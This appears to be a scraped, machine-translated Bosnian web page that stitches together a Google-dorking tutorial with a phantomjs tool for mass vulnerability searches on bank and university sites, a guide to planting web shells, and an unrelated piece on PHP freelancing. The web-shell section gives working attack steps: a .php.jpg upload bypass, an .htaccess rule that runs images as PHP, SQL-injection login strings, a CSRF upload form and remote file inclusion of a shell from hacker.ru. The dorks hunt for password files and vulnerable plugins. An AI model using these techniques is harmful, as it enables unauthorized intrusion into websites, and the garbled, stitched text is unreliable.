informacije <br></td> <td width="190">Certifikati, sigurnosne kopije, e-poruke, zapisnici, SQL skripte, itd. <br></td> <td width="284">Pronađite inicijalizacijske sql skripte: <br><i>filetype:sql i “insert into” -site:github.com</i><br></td> </tr><tr><td width="168">Fajlovi koji sadrže lozinke <br></td> <td width="190">Sve što može sadržavati lozinke - logove, sql skripte, itd. <br></td> <td width="284">Dnevnici u kojima se spominju lozinke: <br><i>vrsta datoteke:</i><i>log</i><i>tekst:</i><i>lozinka |</i><i>pass |</i><i>pw</i><br>sql skripte koje sadrže lozinke: <br><i>ekst:</i><i>sql</i><i>tekst:</i><i>korisničko ime</i><i>tekst:</i><i>lozinka</i><br></td> </tr><tr><td width="168">Osjetljive informacije o online kupovini <br></td> <td width="190">Informacije vezane za online kupovinu <br></td> <td width="284">Pronađite PIN kodove: <br><i>dcid=</i><i>bn=</i><i>pin</i><i>code=</i><br></td> </tr><tr><td width="168">Podaci o mreži ili ranjivosti <br></td> <td width="190">Informacije koje se ne odnose direktno na web resurs, ali utiču na mrežu ili druge ne-web usluge <br></td> <td width="284">Pronađite automatske proxy konfiguracijske skripte koje sadrže informacije o internoj mreži: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Stranice koje sadrže portale za prijavu <br></td> <td width="190">Stranice koje sadrže formulare za prijavu <br></td> <td width="284">saplogon web stranice: <br><i>intext:"2016 SAP AG. Sva prava zadržana." naslov: "Prijava"</i><br></td> </tr><tr><td width="168">Razni uređaji na mreži <br></td> <td width="190">Štampači, ruteri, sistemi za nadzor itd. <br></td> <td width="284">Pronađite panel za konfiguraciju štampača: <br><i>naslov:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>set_</i><i>config_</i><i>deviceinfo.</i><i>htm</i><br></td> </tr><tr><td width="168">Savjeti i ranjivosti <br></td> <td width="190">Web stranice na ranjivim CMS verzijama <br></td> <td width="284">Pronađite ranjive dodatke preko kojih možete učitati proizvoljni fajl na server: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks su češće fokusirani na pretraživanje na svim internet stranicama. Ali ništa vas ne sprječava da ograničite opseg pretraživanja na bilo kojoj stranici ili web-lokacijama. <br>Svaki Google upit može se fokusirati na određenu web lokaciju dodavanjem ključne riječi “site:somesite.com” upitu. Ova ključna riječ se može dodati bilo kojoj glupači. <p><b>Automatizacija pretrage ranjivosti</b><br>Tako se rodila ideja da se napiše jednostavan uslužni program koji automatizira pretragu ranjivosti pomoću tražilice (google) i oslanja se na Google Hack Database.</p><p>Uslužni program je skripta napisana u nodejs koristeći phantomjs. Da budemo precizni, skriptu tumači sam phantomjs. <br>Phantomjs je punopravni web pretraživač bez GUI-a, kontroliran js kodom i sa praktičnim API-jem. <br>Uslužni program je dobio sasvim razumljivo ime - dorks. Pokretanjem na komandnoj liniji (bez opcija) dobijamo kratku pomoć sa nekoliko primera upotrebe: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Slika 1 - Lista glavnih dork opcija</p><p>Opšta sintaksa uslužnog programa je: dork “komanda” “lista opcija”. <br>Detaljan opis svih opcija prikazan je u tabeli 4.</p><p>Tabela 4 - Dorks sintaksa <br></p><table border="1"><tbody><tr><td width="214"><b>Tim</b><br></td> <td width="214"><b>Opcija</b><br></td> <td width="214"><b>Opis</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Odštampajte numerisanu listu dork kategorija Google Hack Database <br></td> </tr><tr><td width="214">-c “broj kategorije ili naziv” <br></td> <td width="214">Utovarna vrata navedene kategorije po broju ili nazivu <br></td> </tr><tr><td width="214">-q "fraza" <br></td> <td width="214">Preuzmite dorkove pronađene na zahtjev <br></td> </tr><tr><td width="214">-o "fajl" <br></td> <td width="214">Sačuvajte rezultat u datoteku (samo sa opcijama -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d "budala" <br></td> <td width="214">Postavite proizvoljan dork (opcija se može koristiti više puta, kombinacija sa opcijom -D je dozvoljena) <br></td> </tr><tr><td width="214">-D "fajl" <br></td> <td width="214">Koristite dorks iz fajla <br></td> </tr><tr><td width="214">-s "stranica" <br></td> <td width="214">Postavite lokaciju (opcija se može koristiti više puta, kombinacija sa opcijom -S je dozvoljena) <br></td> </tr><tr><td width="214">-S "fajl" <br></td> <td width="214">Koristite web lokacije iz datoteke (dork će se pretraživati ​​za svaku stranicu zasebno) <br></td> </tr><tr><td width="214">-f "filter" <br></td> <td width="214">Postavite dodatne ključne riječi (biće dodane svakom dork-u) <br></td> </tr><tr><td width="214">-t "broj ms" <br></td> <td width="214">Interval između zahtjeva za google <br></td> </tr><tr><td width="214">-T "broj ms" <br></td> <td width="214">Isteklo je ako se naiđe na captcha <br></td> </tr><tr><td width="214">-o "fajl" <br></td> <td width="214">Sačuvajte rezultat u datoteku (sačuvaće se samo one staze za koje je nešto pronađeno) <br></td> </tr></tbody></table><br>Koristeći naredbu ghdb, možete dobiti sve dorkove iz exploit-db proizvoljnim zahtjevom ili specificirati cijelu kategoriju. Ako navedete kategoriju 0, cijela baza podataka će se isprazniti (oko 4,5 hiljada dorka). <p>Lista trenutno dostupnih kategorija prikazana je na slici 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Slika 2 – Lista dostupnih GHDB kategorija dork</p><p>Google tim će zamijeniti svakog glupana u google tražilicu i analizirati rezultate za utakmice. Staze na kojima je nešto pronađeno biće sačuvane u fajlu. <br>Uslužni program podržava različite načine pretraživanja: <br>1 dork i 1 lokacija; <br>1 dork i mnogo lokacija; <br>1 lokacija i mnogo glupana; <br>mnogo sajtova i mnogo glupana; <br>Lista dork-ova i lokacija može se specificirati ili kroz argument ili kroz datoteku.</p><p><b>Demonstracija rada</b><br>Pokušajmo potražiti bilo kakve ranjivosti koristeći primjer pretraživanja poruka o grešci. Po komandi: dorks ghdb –c 7 –o errors.dorks svi poznati dork-ovi kategorije “Poruke o greškama” će biti učitani kao što je prikazano na slici 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Slika 3 – Učitavanje svih poznatih dork-a kategorije “Poruke o grešci”.</p><p>Dorkovi se preuzimaju i spremaju u datoteku. Sada ostaje samo da ih “postavimo” na nekoj lokaciji (vidi sliku 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Slika 4 – Pretraga ranjivosti stranice od interesa u Google kešu</p><p>Nakon nekog vremena, nekoliko stranica koje sadrže greške su otkrivene na lokaciji koja se proučava (vidi sliku 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Slika 5 – Pronađene poruke o grešci</p><p>Kao rezultat toga, u datoteci result.txt dobijamo kompletnu listu gluposti koje dovode do greške. <br>Slika 6 prikazuje rezultat pretraživanja grešaka na sajtu. <br><br>Slika 6 – Rezultat pretrage greške</p><p>U keš memoriji za ovaj dork, prikazuje se kompletno praćenje unazad, otkrivajući apsolutne putanje skripti, sistem za upravljanje sadržajem sajta i tip baze podataka (vidi sliku 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Slika 7 – otkrivanje informacija o dizajnu sajta</p><p>Međutim, vrijedi uzeti u obzir da ne daju svi kreteni iz GHDB prave rezultate. Također, Google možda neće pronaći tačno podudaranje i pokazati sličan rezultat.</p><p>U ovom slučaju, pametnije je koristiti svoju ličnu listu glupana. Na primjer, uvijek je vrijedno tražiti datoteke s "neobičnim" ekstenzijama, čiji su primjeri prikazani na slici 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Slika 8 – Lista ekstenzija datoteka koje nisu tipične za običan web resurs</p><p>Kao rezultat toga, naredbom dorks google –D extensions.txt –f banka, od prvog zahtjeva Google počinje vraćati stranice sa “neobičnim” ekstenzijama datoteka (vidi sliku 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Slika 9 – Potražite "loše" tipove datoteka na bankarskim web stranicama</p><p>Vrijedi imati na umu da Google ne prihvaća upite duže od 32 riječi.</p><p>Korišćenje naredbe dorks google –d intext:”greška|upozorenje|obaveštenje|sintaksa” –f univerzitet <br>Možete potražiti greške PHP interpretatora na obrazovnim web stranicama (vidi sliku 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Slika 10 – Pronalaženje PHP runtime grešaka</p><p>Ponekad nije zgodno koristiti jednu ili dvije kategorije dork. <br>Na primjer, ako je poznato da stranica radi na Wordpress engine-u, onda su nam potrebni moduli specifični za WordPress. U ovom slučaju, zgodno je koristiti pretragu Google Hack Database. Komanda dorks ghdb –q wordpress –o wordpress_dorks.txt će preuzeti sve dorks sa Wordpress-a, kao što je prikazano na slici 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Slika 11 – Potražite Dorkove koji se odnose na Wordpress</p><p>Vratimo se ponovo na banke i upotrijebimo naredbu dorks google –D wordpress_dords.txt –f bank da pokušamo pronaći nešto zanimljivo vezano za Wordpress (vidi sliku 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Slika 12 – Potraga za Wordpress ranjivostima</p><p>Vrijedi napomenuti da pretraga na Google Hack Database ne prihvata riječi kraće od 4 karaktera. Na primjer, ako nije poznat CMS sajta, ali je poznat jezik - PHP. U ovom slučaju, možete ručno filtrirati ono što vam je potrebno pomoću cijevi i uslužnog programa za pretraživanje sistema dorks –c all | findstr /I php > php_dorks.txt (pogledajte sliku 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Slika 13 – Pretražite sve dorkove u kojima se spominje PHP</p><p>Pretraživanje ranjivosti ili nekih osjetljivih informacija u pretraživaču treba vršiti samo ako postoji značajan indeks na ovoj stranici. Na primjer, ako stranica ima 10-15 indeksiranih stranica, onda je glupo tražiti bilo što na ovaj način. Provjera veličine indeksa je jednostavna - samo unesite “site:somesite.com” u Google traku za pretraživanje. Primjer stranice sa nedovoljnim indeksom prikazan je na slici 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Slika 14 – Provjera veličine indeksa stranice</p><p>Sada o neugodnom... S vremena na vrijeme Google može zatražiti captcha - ne možete ništa učiniti u vezi s tim - morat ćete je unijeti. Na primjer, prilikom pretraživanja kategorije “Poruke o grešci” (90 dorks), captcha se pojavila samo jednom.</p><p>Vrijedi dodati da phantomjs također podržava rad kroz proxy, kako preko http i socks interfejsa. Da biste omogućili proxy način rada, morate dekomentirati odgovarajući red u dorks.bat ili dorks.sh.</p><p>Alat je dostupan kao izvorni kod</p> <br>U ovom članku želim govoriti o najčešće korištenim metodama učitavanja ljuske na web stranicu. <b>Web-ljuska</b> je vrsta zlonamjerne skripte (programa) koju napadači koriste za kontrolu web stranica ili servera. <p><b>Metoda 1</b><br>Pronađite obrazac na web stranici za postavljanje datoteka/slika. Recimo da nismo uspjeli hakovati admin panel stranice i pokušavamo preplaviti našu ljusku sa <b>extension.php.jpg .</b> Ako bude uspješan, vidjet ćemo bijeli prozor umjesto slike, kliknemo desnim tasterom miša i pratimo link. U slučaju kvara, možemo koristiti chrome ekstenziju <b>neovlašteni podaci</b>. Omogućava vam da presretnete i promijenite zahtjev kako želite. Ako web lokacija provjeri ekstenziju datoteke, onda prvo možemo učitati <b>.htaccess</b> fajl sa sadržajem: <br>AddType application/x-httpd-php .jpg <br>Ova komanda će izvršiti jpg datoteke kao php. <br><b>Detaljne video upute:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Video uputstva za <b>instalacija neovlaštenih podataka:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Metoda 2</b><br>Koristite program za pretraživanje admin panela na stranici - https://github.com/bdblackhat/admin-panel-finder. Kada program pronađe admin panel, možemo pokušati sql-injection. U polje za prijavu i lozinku na stranici upisujemo kod: <br><p>" ili "1"="1 " ILI 1=1/*</p><p>Ako radi, dolazimo do administratorske ploče i <b>Nastavljamo prema metodi 1.</b> Ako nema sql-injekcije u admin panelu na sajtu, onda možemo pokušati da ga otklonimo ili pronađemo eksploataciju za ovaj CMS. <br><b>Detaljne video upute:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Metoda 3</b><br>U metodi 3 tražićemo sql-injekciju na samom sajtu. To možemo učiniti ručno ili koristiti sqlmap. Na forumu ima dovoljno tema o tome kako se daju injekcije, pa ću doći izdaleka. Dakle, sada smo već pronašli tablicu s administratorskom prijavom i lozinkom, dešifrirajte hashove, idite na administratorsku ploču i radujte se. Ali recimo da nismo mogli dešifrirati lozinku i sve je pošlo po zlu, onda moramo provjeriti privilegije našeg korisnika <b>. </b> Provjeravamo privilegije i učitavamo mini-ljusku. <b>Iz nekog razloga, kada želim da zalijepim kod, stranica mi daje grešku.</b><p><b>Metoda 4</b><br>Metoda 4 uključuje csrf napad. U donjem kodu moramo zamijeniti <b>http://</b> na našu ciljnu vezu. <b>Odaberite školjku</b> i pritisnite dugme <b>upload.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Upload"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Metod 5</b><br>Saznajte više o svojoj meti i pronađite eksploataciju. Za to postoji vrlo zanimljiva web stranica - https://www.exploit-db.com. Niko nije otkazao masovno hakovanje web stranica kroz ranjivosti, ali već postoji članak o tome na obrascu. <p>Postoji mnogo više načina za popunjavanje ljuske i nema smisla govoriti o svakom od njih. Ako želite da vježbate, onda instalirajte dvwa - to je program dizajniran da pomogne sigurnosnim stručnjacima da testiraju svoje vještine i alate u legalnom okruženju.</p><p><b>Metoda 6 <br><b>PHP injekcija</b>- ovo je oblik napada na web stranicu kada napadač ubacuje svoj PHP kod u napadnutu PHP aplikaciju.</b><br>www.site.ru?page=home.html <br>Izvršavanjem naredbe učitat ćemo početnu,html stranicu. Sada ćemo pokušati učitati zlonamjernu školjku. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>glupan: <b>Inurl:page=</b></p><p>Postoji i način da pronađete već učitanu ljusku koristeći perl</p> <p> » </p><h1>Kako PHP programer može dobro zaraditi kod kuće?</h1><p>Najuspješniji PHP programeri dobro zarađuju od kuće. Na početku svakog prihoda nastaju poteškoće. Dešava se da teškoće i nepoznavanje načina zarade obeshrabre svaku želju za zaradom kod kuće, a onda programeri traže priliku da rade u kancelarijama, gde postoji veća garancija da se novac može dobiti svakog meseca, a profesionalni razvoj je moguće.</p><p>Ali mogućnost rada od kuće ima više prednosti nego nedostataka.</p><h3>pros</h3><p>Radit ćeš za sebe. Niko vas neće otpustiti, moći ćete raspodijeliti svoj raspored ili posao u vrijeme koje želite.</p><p>Sami birate način zarade koristeći programiranje, što će, prvo, povećati vaše interesovanje za rad, a drugo, imate veliku slobodu delovanja. Ne morate raditi na nečemu što vam se ne sviđa. Postoji i više mogućnosti za kombinovanje načina zarade.</p><h3>Minusi</h3><p>U početku će biti teško, a da biste dobili prvi novac za svoj rad potrebno je uložiti mnogo truda i vremena. A da bi postojao profit, morate se stalno razvijati i imati strpljenja i pravilno rasporediti svoj raspored tako da imate dovoljno vremena da završite posao na vrijeme.</p><h3>Zarađivanje novca od vaših skripti</h3><p>Na Internetu postoji mnogo različitih skripti koje ljudi mogu lako preuzeti i instalirati na svoju web stranicu. Možete napisati svoju jedinstvenu skriptu, a postoje dvije opcije kako možete zaraditi novac od svoje skripte. Prodajte ga ili postavite putem servisa za dijeljenje datoteka. Također možete koristiti dvije opcije. Na primjer, lagane skripte, ali je istovremeno vrlo važno da se putem servisa za razmjenu datoteka plasiraju upravo one skripte koje će biti veoma tražene. Da bi to učinili, skripte moraju biti tražene kako bi ih ljudi preuzeli za svoje potrebe.</p><p>Velike skripte se mogu prodati po razumnim cijenama. Možete postaviti oglas na forume, ili ako imate svoj lični blog ili web stranicu, postaviti oglas za prodaju skripti.</p><p>U svakom slučaju, bez obzira koju opciju odaberete, stavite skriptu u arhivu i obavezno priložite detaljna uputstva i kontakt podatke o sebi. Obavezno pružite podršku, jer vam je važno da radite za sebe. Na kraju krajeva, morate biti preporučeni ili preuzeti skripte. Moraju biti visokog kvaliteta. Ako vas osoba zamoli za pomoć, ljubazno mu objasnite skriptu ili mu pomozite da je instalira. Vaše skripte trebaju imati komentare. Za šta je svaka funkcija odgovorna itd. Na kraju krajeva, osoba se lako može zbuniti u vašem kodu, gdje nema zapisa.</p><h3>Sopstveni i zajednički projekti</h3><p>Dobro je kreirati vlastitu web stranicu kako biste uspješno zaradili novac. Postoji mnogo mogućnosti da zaradite novac sa svojom web lokacijom. Ako ga dobro promovirate, tamo možete postavljati skripte za prodaju. Zajednički projekti će proširiti vaše mogućnosti, što je dobro za uspjeh kućnog programiranja. Stoga tražite partnere ili ne odbijajte ponude da zajedno kreirate projekat.</p><p>Obavezno dodajte funkcije koje privlače pažnju na vašoj web stranici. Sajt može imati regularan, jednostavan izgled, ali u isto vreme sa sopstvenim obrtom. Lična web stranica pomaže u povećanju broja klijenata. Oni će vidjeti kako vaše skripte funkcioniraju, ako im ne treba predugo za učitavanje, zanimljive su za korištenje, i što je najvažnije, originalne, za razliku od bilo čega drugog. Tada ćete naći uspjeh.</p><h3>Zarada na narudžbi</h3><p>Da biste to učinili, samo se registrirajte na raznim burzama za slobodnjake i potražite narudžbe. Izložite svoj portfolio završenih radova. Ali budite oprezni, na svijetu postoje nepošteni ljudi i da ne nasjednete na prevaru, prvo pokažite rad koji se nalazi na vašem serveru (usput, u ovom slučaju ćete morati iznajmiti vps http:/ /nkvd.pro/vps/), a onda ako vam plate dio, onda pola prebacite na njihov server, a uradite isto sa drugim dijelom. Ovaj način zarade smatra se profitabilnim, ali zavisi od stepena vašeg znanja i veština. To također ovisi o povratnim informacijama vaših kupaca. Da biste uspjeli u ovoj metodi zarade, radite posao pošteno i efikasno. Morate biti u stanju da komunicirate sa kupcima, jasno objasnite šta možete, a šta ne možete.</p><p>Ovo nije cijela lista zarade za php programera, ali zahvaljujući ovim metodama zarade, koje su gore napisane, već možete zaraditi bez napuštanja kuće. U početnoj fazi, ovo će biti veliko postignuće. Glavna stvar je ne stati na tome. Stalno poboljšavajte i kreirajte projekte koji će vam donijeti ne samo dobar prihod, već i zadovoljstvo.</p> <br><b>o autoru</b> <br><p>Kako PHP programer može dobro zaraditi kod kuće?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Povezane publikacije</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/d356145b8d32a4e43aa5ed76e39606a7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/bs/vstupit-v-gruppu-po-zarabotku-deneg-kak-zarabotat.html">Kako zaraditi novac na VKontakteu na svojoj stranici i bez njega - stvarno radne metode</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/c140bebb4b361b4583c11c49e770bc39.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/bs/kak-pomenyat-temu-dlya-vkontakte-v-yandeks-brauzere-kak-pomenyat-temu-v-kontakte.html">Kako promijeniti temu za VKontakte u Yandexu</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/40e1db5c5747911f9c43c259f44aeadb.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/bs/nastroika-velokompyutera-na-diametr-koles-26-2-2-podklyuchenie-velokompyutera-kak.html">Podešavanje biciklističkog računara za prečnik točkova 26 2</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/programs/">Programi</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/devices/">Uređaji</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/browsers/">Pregledači</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/reviews/">Recenzije</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/reviews/">Recenzije</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/setup/">Postavke</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/editors/">Urednici</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Poslednje beleške</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5e60cc62a5f20ab07a340013922f0d2c.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Najmanji računar na svetu: fotografija, opis, ocena Najmanji računar na svetu" / loading=lazy loading=lazy> <span class="cat">Programi</span></div> <a href="https://storerarity.ru/bs/samyi-malenkii-kompyuter-v-mire-foto-opisanie-reiting.html">Najmanji računar na svetu: fotografija, opis, ocena Najmanji računar na svetu</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/cdb555606d94b8ae1d51c87fc743c991.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Kako instalirati Yula aplikaciju i registrovati se" / loading=lazy loading=lazy> <span class="cat">Programi</span></div> <a href="https://storerarity.ru/bs/kak-postavit-prilozhenie-yula-zaregistrirovatsya-prilozhenie-yula-ustanovka.html">Kako instalirati Yula aplikaciju i registrovati se</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/af70d4bfa7ecf603e659893b5979f8d6.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Smartphone Samsung Grand Duos: karakteristike, recenzije Samsung galaxy grand duos opis" / loading=lazy loading=lazy> <span class="cat">Programi</span></div> <a href="https://storerarity.ru/bs/samsung-galaxy-grand-duos-bolshoi-i-moshchnyi-smartfon-samsung-grand-duos-harakteristiki-otzyvy-sam.html">Smartphone Samsung Grand Duos: karakteristike, recenzije Samsung galaxy grand duos opis</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Računari za svakoga - Podešavanje, instalacija, oporavak</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/programs/">Programi</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/devices/">Uređaji</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/browsers/">Pregledači</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/reviews/">Recenzije</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/reviews/">Recenzije</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/setup/">Postavke</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/bs/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>